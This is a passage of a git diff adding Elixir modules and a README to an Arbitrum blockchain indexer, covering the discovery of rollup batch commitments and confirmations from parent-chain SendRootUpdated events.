:chunk_size => non_neg_integer(), + optional(any()) => any() + }, + binary(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :chunk_size => non_neg_integer(), + optional(any()) => any() + } + ) :: :ok + defp discover_missing( + sequencer_inbox_address, + l1_block_ranges, + new_batches_limit, + messages_to_blocks_shift, + l1_rpc_config, + node_interface_address, + rollup_rpc_config + ) do + Enum.each(l1_block_ranges, fn {start_block, end_block} -> + ArbitrumHelper.execute_for_block_range_in_chunks( + start_block, + end_block, + l1_rpc_config.logs_block_range, + fn chunk_start, chunk_end -> + # `BatchesDiscovery.perform` is not used here to demonstrate the need to fetch batches + # which are already historical + discover_historical( + sequencer_inbox_address, + chunk_start, + chunk_end, + new_batches_limit, + messages_to_blocks_shift, + l1_rpc_config, + node_interface_address, + rollup_rpc_config + ) + end + ) + end) + end + + # Determines the lowest L1 block number from which to start discovering batch commitments. + # The function either returns a cached value or queries the database for the batch containing + # the first rollup block. If no batch is found, it falls back to the L1 rollup initialization + # block without caching it. + @spec get_lowest_l1_block_for_commitments(batches_related_state()) :: {non_neg_integer(), batches_related_state()} + defp get_lowest_l1_block_for_commitments( + %{ + config: %{ + l1_rollup_init_block: l1_rollup_init_block, + rollup_first_block: rollup_first_block + }, + task_data: %{ + historical_batches: historical_batches_data + } + } = state + ) do + case Map.get(historical_batches_data, :lowest_l1_block_for_commitments) do + nil -> + # If first block is 0, start from block 1 since block 0 is not included in any batch + # and therefore has no commitment. Otherwise use the first block value + lowest_rollup_block = if rollup_first_block == 0, do: 1, else: rollup_first_block + + case DbSettlement.get_batch_by_rollup_block_number(lowest_rollup_block) do + nil -> + {l1_rollup_init_block, state} + + batch -> + block_number = batch.commitment_transaction.block_number + + {block_number, + ArbitrumHelper.update_fetcher_task_data(state, :historical_batches, %{ + lowest_l1_block_for_commitments: block_number + })} + end + + cached_block -> + {cached_block, state} + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/README.md b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/README.md new file mode 100644 index 000000000000..06d14a25e6ce --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/README.md @@ -0,0 +1,90 @@ +# Confirmation Processing Modules + +This directory contains modules that handle the discovery and processing of rollup block confirmations in the Arbitrum indexer. + +## Module Overview + +- **`discovery.ex`** + Contains the core logic to identify, adjust, and process rollup block ranges. It dynamically handles reorg scenarios and determines which rollup blocks should be re-evaluated for confirmation updates. + +- **`events.ex`** + Provides utilities for fetching, filtering, and parsing `SendRootUpdated` events from the Arbitrum outbox. These events serve as triggers for initiating the confirmation process. + +- **`rollup_blocks.ex`** + Updates the status of rollup blocks by mapping confirmed rollup data to the corresponding parent chain transactions, ensuring a precise association between rollup blocks and the confirmation events that first marked them. + +- **`tasks.ex`** + Acts as the orchestrator for both new and historical confirmation discovery workflows, triggering the processing flow across the other modules. + +## Architecture + +The confirmation processing leverages a multi-layered design linking different responsibilities: + +1. **Call Flow:** + - **Tasks Module:** Serves as the entry point, triggering and scheduling confirmation discovery. + - **Discovery Module:** Adjusts block ranges, detects reorg events, and prepares the set of rollup + blocks for confirmation. + - **Rollup Blocks Module:** Correlates and updates confirmation statuses by linking rollup block data + to parent chain transactions. + +2. **Arbitrum Settlement Mechanism:** + - **Rollup Entities:** Represent the on-chain Arbitrum block data that require confirmation. + - **Parent Chain Batches:** Organize groups of related transactions or state changes processed + on the parent chain. + - **Confirmations:** Finalize the state by matching parent chain confirmations with the updated rollup + entities. + - **L2-to-L1 Messages:** As part of the confirmation process, messages that were included in + transactions within confirmed rollup blocks are also marked as confirmed. This ensures that the cross-chain message status accurately reflects the settlement state. + + - **Confirmation Order Handling:** + The logic respects the order of confirmation events: + - A confirmation on the Arbitrum chain marks all rollup blocks below a given block as confirmed. + - However, the indexer refines this by recording which concrete confirmation confirmed each rollup block first. For example: + - Confirmation **A** in parent chain block **O** confirms rollup block **X** and all blocks below. + - Confirmation **B** in parent chain block **P** (with P < O) confirms rollup block **Y** and all blocks below. + - Confirmation **C** in parent chain block **Q** (with Q < P) confirms rollup block **Z** and all blocks below. + - Although Arbitrum's logic implies that all blocks X and below are confirmed by **A**, the indexer builds the following linkage: + - Rollup blocks from **X** down to just above **Y** are confirmed by **A**. + - Rollup blocks from **Y** down to just above **Z** are confirmed by **B**. + - This nuanced mapping preserves confirmation order and allows accurate tracking of when a rollup block was first confirmed. + +## Update & Extension Guidelines + +When modifying or extending the confirmation processing functionality, consider the following +architectural aspects: + +### Call Flow Integrity +- **Maintain the Task → Discovery → Rollup Blocks Chain:** + Ensure any changes preserve the separation of responsibilities: + - **Tasks** should remain the central trigger. + - **Discovery** must continue to adjust block ranges and handle reorg-related issues. + - **Rollup Blocks** is responsible for linking rollup data with the appropriate confirmations. +- **Data Consistency:** + Any new functionality must produce data in the format expected by downstream modules. + +### Handling of Edge Cases +- **Managing Reorgs:** + Enhance detection and recovery mechanisms so that reorgs on the parent chain are handled gracefully. + - Support operating with "safe blocks" that represent a confirmed and stable state of the blockchain. + - Enable querying of logs from the parent chain with overlapping block ranges while skipping already discovered confirmations to avoid redundant processing. +- **Incomplete Data:** + At the moment of confirmation discovery, the indexer might be in a state where corresponding + rollup blocks or parent chain batches have not yet been fetched. Implement lazy fetching and robust error handling to accommodate these asynchronous data flows. +- **Selective Discovery:** + The indexer configuration might limit fetched rollup blocks (e.g., not starting from genesis). Thus, the confirmation discovery process should operate only within the available and relevant block range rather than enforcing discovery across all historical data. + +## Module Organization + +The confirmation functionality is split across multiple modules rather than maintained in a single monolithic file for two primary reasons: + +### 1. Collaborative Development + +Splitting functionality across multiple files significantly reduces the likelihood of merge conflicts when multiple developers are working on different features simultaneously. Each module can be modified independently without affecting other parts of the codebase. + +### 2. LLM-Based Development Optimization + +The modular structure is specifically designed to work better with Large Language Model (LLM) based coding assistants: + +- **Output Token Efficiency**: While modern LLMs can handle large files in their input context, they still have limitations on output tokens. Smaller files make it easier for AI assistants to propose and explain changes within these limits. + +- **Focus Window Management**: Smaller, focused modules help maintain a clear context window when working with AI assistants, making it easier to discuss and modify specific functionality without the noise of unrelated code. \ No newline at end of file diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/discovery.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/discovery.ex new file mode 100644 index 000000000000..b5f710fc04d7 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/discovery.ex @@ -0,0 +1,479 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.Confirmations.Discovery do + @moduledoc """ + Handles the discovery and processing of rollup block confirmations in Arbitrum. + + This module processes confirmations of rollup blocks by analyzing `SendRootUpdated` events + from the Arbitrum outbox contract on the parent chain. Each `SendRootUpdated` event + indicates a top confirmed rollup block, implying that all rollup blocks with lower numbers + are also confirmed. + + The confirmation process follows these key steps: + 1. Fetches `SendRootUpdated` event logs from the parent chain within the specified block range + 2. For each event, identifies the top confirmed rollup block and all unconfirmed blocks + below it up to the previous confirmation or the chain's initial block + 3. Updates the status of the identified blocks and their associated L2-to-L1 messages + 4. Imports the confirmation data + + For example, if there are two confirmations where the earlier one points to block N and + the later to block M (where M > N), the module links blocks from N+1 to M to the later + confirmation. This sequential handling preserves the confirmation history, allowing each + block to be associated with its specific confirmation transaction. + """ + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1] + + alias EthereumJSONRPC.Block.ByNumber, as: BlockByNumber + + alias Explorer.Chain + alias Explorer.Chain.Arbitrum + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Messages, as: DbMessages + alias Indexer.Fetcher.Arbitrum.Utils.Db.ParentChainTransactions, as: DbParentChainTransactions + alias Indexer.Fetcher.Arbitrum.Utils.Helper, as: ArbitrumHelper + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + alias Indexer.Fetcher.Arbitrum.Workers.Confirmations.Events, as: EventsUtils + alias Indexer.Fetcher.Arbitrum.Workers.Confirmations.RollupBlocks + + require Logger + + @doc """ + Discovers and processes new confirmations of rollup blocks within a specified parent chain + block range. + + Fetches logs from the parent chain to identify new confirmations of rollup blocks, processes + these confirmations to update block statuses, and marks relevant L2-to-L1 messages as + confirmed. As the transaction on the parent chain containing the confirmation is considered + a lifecycle transaction, the function imports it along with updated rollup blocks and + cross-chain messages into the database in a single transaction. + + ## Parameters + - `outbox_address`: The address of the Arbitrum outbox contract on parent chain + - `start_block`: The parent chain block number to start fetching logs from + - `end_block`: The parent chain block number to stop fetching logs at + - `l1_rpc_config`: Configuration map for parent chain RPC interactions containing: + * `:json_rpc_named_arguments` - Arguments for JSON RPC calls + * `:logs_block_range` - Maximum block range for log requests + * `:chunk_size` - Size of chunks for batch processing + * `:finalized_confirmations` - Whether to track finalization status + - `rollup_first_block`: The lowest block number of the L2 chain to consider + + ## Returns + - `:ok` if all confirmations were processed successfully + - `:confirmation_missed` if some confirmations could not be processed + """ + @spec perform( + binary(), + non_neg_integer(), + non_neg_integer(), + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :logs_block_range => non_neg_integer(), + :chunk_size => non_neg_integer(), + :finalized_confirmations => boolean(), + optional(any()) => any() + }, + non_neg_integer() + ) :: :ok | :confirmation_missed + def perform( + outbox_address, + start_block, + end_block, + l1_rpc_config, + rollup_first_block + ) do + {logs, _} = + EventsUtils.get_logs_for_confirmations( + start_block, + end_block, + outbox_address, + l1_rpc_config.json_rpc_named_arguments + ) + + {retcode, {lifecycle_transactions, rollup_blocks, confirmed_transactions}} = + handle_confirmations_from_logs( + logs, + l1_rpc_config, + outbox_address, + rollup_first_block + ) + + {:ok, _} = + Chain.import(%{ + arbitrum_lifecycle_transactions: %{params: lifecycle_transactions}, + arbitrum_batch_blocks: %{params: rollup_blocks}, + arbitrum_messages: %{params: confirmed_transactions}, + timeout: :infinity + }) + + retcode + end + + # Processes logs to handle confirmations for rollup blocks. + # + # This function analyzes logs containing `SendRootUpdated` events with information + # about the confirmations up to a specific point in time, avoiding the reprocessing + # of confirmations already known in the database. It identifies the ranges of + # rollup blocks covered by the confirmations and constructs lifecycle transactions + # linked to these confirmed blocks. Considering the highest confirmed rollup block + # number, it discovers L2-to-L1 messages that have been committed and updates their + # status to confirmed. The confirmations already processed are also updated to + # ensure the correct L1 block number and timestamp, which may have changed due to + # re-orgs. Lists of confirmed rollup blocks, lifecycle transactions, and confirmed + # messages are prepared for database import. + # + # ## Parameters + # - `logs`: Log entries representing `SendRootUpdated` events. + # - `l1_rpc_config`: Configuration for L1 RPC calls. + # - `outbox_address`: The address of the Arbitrum outbox contract. + # - `rollup_first_block`: The block number limiting the lowest indexed block of + # the chain. + # + # ## Returns + # - `{retcode, {lifecycle_transactions, rollup_blocks, confirmed_transactions}}` where + # - `retcode` is either `:ok` or `:confirmation_missed` + # - `lifecycle_transactions` is a list of lifecycle transactions confirming blocks in the + # rollup + # - `rollup_blocks` is a list of rollup blocks associated with the corresponding + # lifecycle transactions + # - `confirmed_messages` is a list of L2-to-L1 messages identified up to the + # highest confirmed block number, to be imported with the new status + # `:confirmed` + @spec handle_confirmations_from_logs( + [%{String.t() => any()}], + %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :logs_block_range => non_neg_integer(), + :chunk_size => non_neg_integer(), + :finalized_confirmations => boolean(), + optional(any()) => any() + }, + binary(), + non_neg_integer() + ) :: + {:ok | :confirmation_missed, + {[Arbitrum.LifecycleTransaction.to_import()], [Arbitrum.BatchBlock.to_import()], + [Arbitrum.Message.to_import()]}} + defp handle_confirmations_from_logs(logs, l1_rpc_config, outbox_address, rollup_first_block) + + defp handle_confirmations_from_logs([], _, _, _) do + {:ok, {[], [], []}} + end + + defp handle_confirmations_from_logs( + logs, + l1_rpc_config, + outbox_address, + rollup_first_block + ) do + # On this step there could be lifecycle transactions for the rollup blocks which are + # already confirmed. It is only possible in the scenario when the confirmation + # discovery process does not wait for the safe L1 block. In this case: + # - rollup_blocks_to_l1_transactions will not contain the corresponding block hash associated + # with the L1 transaction hash + # - lifecycle_transactions_basic will contain all discovered lifecycle transactions + # - blocks_requests will contain all requests to fetch block data for the lifecycle + # transactions + # - existing_lifecycle_transactions will contain lifecycle transactions which was found in the + # logs and already imported into the database. + {rollup_blocks_to_l1_transactions, lifecycle_transactions_basic, blocks_requests, existing_lifecycle_transactions} = + parse_logs_for_new_confirmations(logs) + + # This step must be run only if there are hashes of the confirmed rollup blocks + # in rollup_blocks_to_l1_transactions - when there are newly discovered confirmations. + rollup_blocks = + if Enum.empty?(rollup_blocks_to_l1_transactions) do + [] + else + RollupBlocks.extend_confirmations( + rollup_blocks_to_l1_transactions, + %{ + json_rpc_named_arguments: l1_rpc_config.json_rpc_named_arguments, + logs_block_range: l1_rpc_config.logs_block_range, + outbox_address: outbox_address + }, + rollup_first_block + ) + end + + # Will return %{} if there are no new confirmations + applicable_lifecycle_transactions = + take_lifecycle_transactions_for_confirmed_blocks(rollup_blocks, lifecycle_transactions_basic) + + # Will contain :ok if no new confirmations are found + retcode = + if Enum.count(lifecycle_transactions_basic) != + Enum.count(applicable_lifecycle_transactions) + length(existing_lifecycle_transactions) do + :confirmation_missed + else + :ok + end + + if Enum.empty?(applicable_lifecycle_transactions) and existing_lifecycle_transactions == [] do + # Only if both new confirmations and already existing confirmations are empty + {retcode, {[], [], []}} + else + l1_blocks_to_ts = + Rpc.execute_blocks_requests_and_get_ts( + blocks_requests, + l1_rpc_config.json_rpc_named_arguments, + l1_rpc_config.chunk_size + ) + + # The lifecycle transactions for the new confirmations are finalized here. + {lifecycle_transactions_for_new_confirmations, rollup_blocks, highest_confirmed_block_number} = + finalize_lifecycle_transactions_and_confirmed_blocks( + applicable_lifecycle_transactions, + rollup_blocks, + l1_blocks_to_ts, + l1_rpc_config.track_finalization + ) + + # The lifecycle transactions for the already existing confirmations are updated here + # to ensure correct L1 block number and timestamp that could appear due to re-orgs. + lifecycle_transactions = + lifecycle_transactions_for_new_confirmations ++ + update_lifecycle_transactions_for_new_blocks( + existing_lifecycle_transactions, + lifecycle_transactions_basic, + l1_blocks_to_ts + ) + + # Drawback of marking messages as confirmed during a new confirmation handling + # is that the status change could become stuck if confirmations are not handled. + # For example, due to DB inconsistency: some blocks/batches are missed. + confirmed_messages = get_confirmed_l2_to_l1_messages(highest_confirmed_block_number) + + {retcode, {lifecycle_transactions, rollup_blocks, confirmed_messages}} + end + end + + # Parses logs to extract new confirmations for rollup blocks and prepares related data. + # + # This function processes `SendRootUpdated` event logs. For each event which + # was not processed before, it maps the hash of the top confirmed rollup block + # provided in the event to the confirmation description, containing the L1 + # transaction hash and block number. It also prepares a set of lifecycle + # transactions in basic form, the set of lifecycle transaction already + # existing in the database and block requests to later fetch timestamps for + # the corresponding lifecycle transactions. + # + # ## Parameters + # - `logs`: A list of log entries representing `SendRootUpdated` events. + # + # ## Returns + # - A tuple containing: + # - A map associating rollup block hashes with their confirmation descriptions. + # - A map of basic-form lifecycle transactions keyed by L1 transaction hash. + # - A list of RPC requests to fetch block data for these lifecycle transactions. + # - A list of discovered lifecycle transactions which are already in the + # database. Each transaction is compatible with the database import operation. + @spec parse_logs_for_new_confirmations([%{String.t() => any()}]) :: + { + %{binary() => %{l1_transaction_hash: binary(), l1_block_num: non_neg_integer()}}, + %{binary() => %{hash: binary(), block_number: non_neg_integer()}}, + [EthereumJSONRPC.Transport.request()], + [Arbitrum.LifecycleTransaction.to_import()] + } + defp parse_logs_for_new_confirmations(logs) do + transaction_hashes = + logs + |> Enum.reduce(%{}, fn event, acc -> + l1_transaction_hash_raw = event["transactionHash"] + Map.put_new(acc, l1_transaction_hash_raw, Rpc.string_hash_to_bytes_hash(l1_transaction_hash_raw)) + end) + + existing_lifecycle_transactions = + transaction_hashes + |> Map.values() + |> DbParentChainTransactions.lifecycle_transactions() + |> Enum.reduce(%{}, fn transaction, acc -> + Map.put(acc, transaction.hash, transaction) + end) + + {rollup_block_to_l1_transactions, lifecycle_transactions, blocks_requests} = + logs + |> Enum.reduce({%{}, %{}, %{}}, fn event, {block_to_transactions, lifecycle_transactions, blocks_requests} -> + rollup_block_hash = EventsUtils.send_root_updated_event_parse(event) + + l1_transaction_hash_raw = event["transactionHash"] + l1_transaction_hash = transaction_hashes[l1_transaction_hash_raw] + l1_blk_num = quantity_to_integer(event["blockNumber"]) + + # There is no need to include the found block hash for the consequent confirmed + # blocks discovery step since it is assumed that already existing lifecycle + # transactions are already linked with the corresponding rollup blocks. + updated_block_to_transactions = + if Map.has_key?(existing_lifecycle_transactions, l1_transaction_hash) do + block_to_transactions + else + Map.put( + block_to_transactions, + rollup_block_hash, + %{l1_transaction_hash: l1_transaction_hash, l1_block_num: l1_blk_num} + ) + end + + updated_lifecycle_transactions = + Map.put( + lifecycle_transactions, + l1_transaction_hash, + %{hash: l1_transaction_hash, block_number: l1_blk_num} + ) + + updated_blocks_requests = + Map.put( + blocks_requests, + l1_blk_num, + BlockByNumber.request(%{id: 0, number: l1_blk_num}, false, true) + ) + + log_info("New confirmation for the rollup block #{rollup_block_hash} found in #{l1_transaction_hash_raw}") + + {updated_block_to_transactions, updated_lifecycle_transactions, updated_blocks_requests} + end) + + {rollup_block_to_l1_transactions, lifecycle_transactions, Map.values(blocks_requests), + Map.values(existing_lifecycle_transactions)} + end + + # Selects lifecycle transaction descriptions used for confirming a given list of rollup blocks. + @spec take_lifecycle_transactions_for_confirmed_blocks( + [Arbitrum.BatchBlock.to_import()], + %{binary() => %{hash: binary(), block_number: non_neg_integer()}} + ) :: %{binary() => %{hash: binary(), block_number: non_neg_integer()}} + defp take_lifecycle_transactions_for_confirmed_blocks(confirmed_rollup_blocks, lifecycle_transactions) do + confirmed_rollup_blocks + |> Enum.reduce(%{}, fn block_descr, updated_transactions -> + confirmation_transaction_hash = block_descr.confirmation_transaction + + Map.put_new( + updated_transactions, + confirmation_transaction_hash, + lifecycle_transactions[confirmation_transaction_hash] + ) + end) + end + + # Finalizes lifecycle transaction descriptions and establishes database-ready links + # between confirmed rollup blocks and their corresponding lifecycle transactions. + # + # This function executes chunked requests to L1 to retrieve block timestamps, which, + # along with the finalization flag, are then used to finalize the lifecycle + # transaction descriptions. Each entity in the list of blocks, which needs to be + # confirmed, is updated with the associated lifecycle transaction IDs and prepared + # for import. + # + # ## Parameters + # - `basic_lifecycle_transactions`: The initial list of partially filled lifecycle transaction + # descriptions. + # - `confirmed_rollup_blocks`: Rollup blocks to be considered as confirmed. + # - `l1_blocks_requests`: RPC requests of `eth_getBlockByNumber` to fetch L1 block data + # for use in the lifecycle transaction descriptions. + # - A map containing L1 RPC configuration such as JSON RPC arguments, chunk size, + # and a flag indicating whether to track the finalization of transactions. + # + # ## Returns + # - A tuple containing: + # - The map of lifecycle transactions where each transaction is ready for import. + # - The list of confirmed rollup blocks, ready for import. + # - The highest confirmed block number processed during this run. + @spec finalize_lifecycle_transactions_and_confirmed_blocks( + %{binary() => %{hash: binary(), block_number: non_neg_integer()}}, + [Arbitrum.BatchBlock.to_import()], + %{required(EthereumJSONRPC.block_number()) => DateTime.t()}, + boolean() + ) :: { + [Arbitrum.LifecycleTransaction.to_import()], + [Arbitrum.BatchBlock.to_import()], + integer() + } + defp finalize_lifecycle_transactions_and_confirmed_blocks( + basic_lifecycle_transactions, + confirmed_rollup_blocks, + l1_blocks_to_ts, + track_finalization? + ) + + defp finalize_lifecycle_transactions_and_confirmed_blocks(basic_lifecycle_transactions, _, _, _) + when map_size(basic_lifecycle_transactions) == 0 do + {[], [], -1} + end + + defp finalize_lifecycle_transactions_and_confirmed_blocks( + basic_lifecycle_transactions, + confirmed_rollup_blocks, + l1_blocks_to_ts, + track_finalization? + ) do + lifecycle_transactions = + basic_lifecycle_transactions + |> ArbitrumHelper.extend_lifecycle_transactions_with_ts_and_status(l1_blocks_to_ts, track_finalization?) + |> DbParentChainTransactions.get_indices_for_l1_transactions() + + {updated_rollup_blocks, highest_confirmed_block_number} = + confirmed_rollup_blocks + |> Enum.reduce({[], -1}, fn block, {updated_list, highest_confirmed} -> + chosen_highest_confirmed = max(highest_confirmed, block.block_number) + + updated_block = + block + |> Map.put(:confirmation_id, lifecycle_transactions[block.confirmation_transaction].id) + |> Map.drop([:confirmation_transaction]) + + {[updated_block | updated_list], chosen_highest_confirmed} + end) + + {Map.values(lifecycle_transactions), updated_rollup_blocks, highest_confirmed_block_number} + end + + # Updates lifecycle transactions with new L1 block numbers and timestamps which could appear due to re-orgs. + # + # ## Parameters + # - `existing_commitment_transactions`: A list of existing confirmation transactions to be checked and updated. + # - `transaction_to_l1_block`: A map from transaction hashes to their corresponding new L1 block numbers. + # - `l1_block_to_ts`: A map from L1 block numbers to their corresponding new timestamps. + # + # ## Returns + # - A list of updated confirmation transactions with new block numbers and timestamps. + @spec update_lifecycle_transactions_for_new_blocks( + [Arbitrum.LifecycleTransaction.to_import()], + %{binary() => non_neg_integer()}, + %{non_neg_integer() => DateTime.t()} + ) :: [Arbitrum.LifecycleTransaction.to_import()] + defp update_lifecycle_transactions_for_new_blocks( + existing_commitment_transactions, + transaction_to_l1_block, + l1_block_to_ts + ) do + existing_commitment_transactions + |> Enum.reduce([], fn transaction, updated_transactions -> + new_block_num = transaction_to_l1_block[transaction.hash].block_number + new_ts = l1_block_to_ts[new_block_num] + + case ArbitrumHelper.compare_lifecycle_transaction_and_update(transaction, {new_block_num, new_ts}, "confirmation") do + {:updated, updated_transaction} -> + [updated_transaction | updated_transactions] + + _ -> + updated_transactions + end + end) + end + + # Retrieves committed L2-to-L1 messages up to specified block number and marks them as 'confirmed'. + @spec get_confirmed_l2_to_l1_messages(integer()) :: [Arbitrum.Message.to_import()] + defp get_confirmed_l2_to_l1_messages(block_number) + + defp get_confirmed_l2_to_l1_messages(-1) do + [] + end + + defp get_confirmed_l2_to_l1_messages(block_number) do + block_number + |> DbMessages.sent_l2_to_l1_messages() + |> Enum.map(fn transaction -> + Map.put(transaction, :status, :confirmed) + end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/events.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/events.ex new file mode 100644 index 000000000000..cf47ca219b3b --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/events.ex @@ -0,0 +1,171 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.Confirmations.Events do + @moduledoc """ + Provides functionality for fetching and parsing Arbitrum's SendRootUpdated events. + + This module is responsible for retrieving event logs from the Arbitrum Outbox + contract and extracting rollup block hashes from SendRootUpdated events. It + implements caching mechanisms to optimize RPC calls when fetching logs for the + same block ranges. + """ + + alias EthereumJSONRPC.Arbitrum.Constants.Events, as: ArbitrumEvents + alias Indexer.Helper, as: IndexerHelper + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Settlement, as: DbSettlement + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_debug: 1, log_warning: 1] + + require Logger + + @typedoc """ + A map containing list of transaction logs for a specific block range. + - the key is the tuple with the start and end of the block range + - the value is the list of transaction logs received for the block range + """ + @type cached_logs :: %{{non_neg_integer(), non_neg_integer()} => [%{String.t() => any()}]} + + @doc """ + Retrieves `SendRootUpdated` event logs from the `Outbox` contract for a specified block range. + + Fetches logs either from the provided cache to minimize RPC calls, or directly from + the RPC node if not cached. Updates the cache with newly fetched logs. + + ## Parameters + - `start_block`: Starting block number for log retrieval + - `end_block`: Ending block number for log retrieval + - `outbox_address`: Address of the `Outbox` contract + - `json_rpc_named_arguments`: JSON RPC connection configuration + - `cache`: Optional map of previously fetched logs, defaults to empty map + + ## Returns + - Tuple containing: + * List of `SendRootUpdated` event logs + * Updated cache including newly fetched logs + """ + @spec get_logs_for_confirmations( + non_neg_integer(), + non_neg_integer(), + binary(), + EthereumJSONRPC.json_rpc_named_arguments(), + __MODULE__.cached_logs() + ) :: {[%{String.t() => any()}], __MODULE__.cached_logs()} + def get_logs_for_confirmations(start_block, end_block, outbox_address, json_rpc_named_arguments, cache \\ %{}) + when start_block <= end_block do + # TODO: consider to have a persistent cache in DB to reduce the number of getLogs requests + {logs, new_cache} = + case cache[{start_block, end_block}] do + nil -> + {:ok, rpc_logs} = + IndexerHelper.get_logs( + start_block, + end_block, + outbox_address, + [ArbitrumEvents.send_root_updated()], + json_rpc_named_arguments + ) + + {rpc_logs, Map.put(cache, {start_block, end_block}, rpc_logs)} + + cached_logs -> + {cached_logs, cache} + end + + if length(logs) > 0 do + log_debug("Found #{length(logs)} SendRootUpdated logs") + end + + {logs, new_cache} + end + + @doc """ + Extracts the rollup block hash from a `SendRootUpdated` event log. + + ## Parameters + - `event`: Event log map from `eth_getLogs` containing "topics" array where + the rollup block hash is the third element + + ## Returns + - A rollup block hash in hex format starting with "0x" + """ + @spec send_root_updated_event_parse(%{String.t() => any()}) :: String.t() + def send_root_updated_event_parse(event) do + [_, _, l2_block_hash] = event["topics"] + + l2_block_hash + end + + @doc """ + Fetches and sorts rollup block numbers from `SendRootUpdated` events in the specified L1 block range. + + Retrieves logs from the Outbox contract and extracts the top confirmed rollup block numbers. + The block numbers are sorted in descending order to ensure proper handling of overlapping + confirmations by finding the highest already-confirmed block below the current confirmation. + Uses caching to minimize RPC calls. + + ## Parameters + - `log_start`: Starting L1 block number for log retrieval + - `log_end`: Ending L1 block number for log retrieval + - `l1_outbox_config`: Configuration for the Arbitrum outbox contract + - `cache`: Cache for logs to minimize RPC calls + + ## Returns + A tuple containing: + - `{:ok, sorted_block_numbers, new_cache, logs_length}` where: + * `sorted_block_numbers` is a list of rollup block numbers in descending order + * `new_cache` is the updated logs cache + * `logs_length` is the number of logs processed + - `{:error, nil, new_cache, logs_length}` if any block hash cannot be resolved + """ + @spec fetch_and_sort_confirmations_logs( + non_neg_integer(), + non_neg_integer(), + %{ + :outbox_address => binary(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }, + cached_logs() + ) :: + {:ok, [non_neg_integer()], cached_logs(), non_neg_integer()} | {:error, nil, cached_logs(), non_neg_integer()} + def fetch_and_sort_confirmations_logs(log_start, log_end, l1_outbox_config, cache) do + {logs, new_cache} = + get_logs_for_confirmations( + log_start, + log_end, + l1_outbox_config.outbox_address, + l1_outbox_config.json_rpc_named_arguments, + cache + ) + + logs_length = length(logs) + + # Process each log to extract block numbers + blocks = + Enum.reduce_while(logs, {:ok, []}, fn log, {:ok, acc} -> + log_debug("Examining the transaction #{log["transactionHash"]}") + + rollup_block_hash = send_root_updated_event_parse(log) + rollup_block_num = DbSettlement.rollup_block_hash_to_num(rollup_block_hash) + + case rollup_block_num do + nil -> + log_warning("The rollup block ##{rollup_block_hash} not found") + {:halt, :error} + + value -> + log_debug("Found rollup block ##{rollup_block_num}") + {:cont, {:ok, [value | acc]}} + end + end) + + case blocks do + {:ok, list} -> + # Sort block numbers in descending order to find highest confirmed block first + sorted = Enum.sort(list, :desc) + {:ok, sorted, new_cache, logs_length} + + :error -> + {:error, nil, new_cache, logs_length} + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/rollup_blocks.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/rollup_blocks.ex new file mode 100644 index 000000000000..36a87e9840cd --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/confirmations/rollup_blocks.ex @@ -0,0 +1,688 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.Confirmations.RollupBlocks do + @moduledoc """ + Handles the discovery and marking of confirmed rollup blocks in Arbitrum. + + In Arbitrum, a confirmation (via SendRootUpdated event) indicates that all rollup blocks + up to a specific block number are confirmed. The module discovers which blocks belong to + each confirmation by examining batches that contain these blocks. For example, if there + are two confirmations where the earlier one points to block N and the later to block M + (where M > N), the module links blocks from N+1 to M to the later confirmation. Starting + from the batch containing the confirmed top block, it recursively examines previous + batches until it either finds a batch with all blocks already confirmed or reaches the + chain's initial block. Within each batch, it identifies unconfirmed blocks and ensures + their continuity to prevent gaps in the confirmation sequence. + + The module handles batch-related confirmations by ensuring block continuity within each + batch. If a block is not yet indexed or a batch association is missing, the confirmation + processing is postponed. The module also verifies block continuity to detect and handle + potential database inconsistencies, ensuring that no gaps exist in the confirmed blocks + sequence. + """ + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_warning: 1, log_info: 1, log_debug: 1] + + alias Explorer.Chain.Arbitrum + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Settlement, as: DbSettlement + alias Indexer.Fetcher.Arbitrum.Workers.Confirmations.Events, as: EventsUtils + + require Logger + + @logs_per_report 10 + @zero_counters %{pairs_counter: 1, capped_logs_counter: 0, report?: false} + + @doc """ + Discovers and marks all rollup blocks associated with provided confirmations. + + First, converts the input map of rollup block hashes to a map keyed by block numbers, + transforming confirmation descriptions to use block numbers instead of hashes. Then + processes these confirmations sequentially starting from the lowest rollup block + number, ensuring that each block is associated with the correct confirmation. This + sequential handling preserves the confirmation history, allowing future processing + to accurately associate blocks with their respective confirmations. + + ## Parameters + - `rollup_blocks_to_l1_transactions`: A map linking rollup block hashes (the "top" blocks + in confirmations) to their confirmation descriptions + - `outbox_config`: Configuration for the Arbitrum outbox contract + - `rollup_first_block`: The block number limiting the lowest indexed block of + the chain + + ## Returns + - A list of rollup blocks each associated with the transaction's hash that + confirms the block + """ + @spec extend_confirmations( + %{binary() => %{l1_transaction_hash: binary(), l1_block_num: non_neg_integer()}}, + %{ + :logs_block_range => non_neg_integer(), + :outbox_address => binary(), 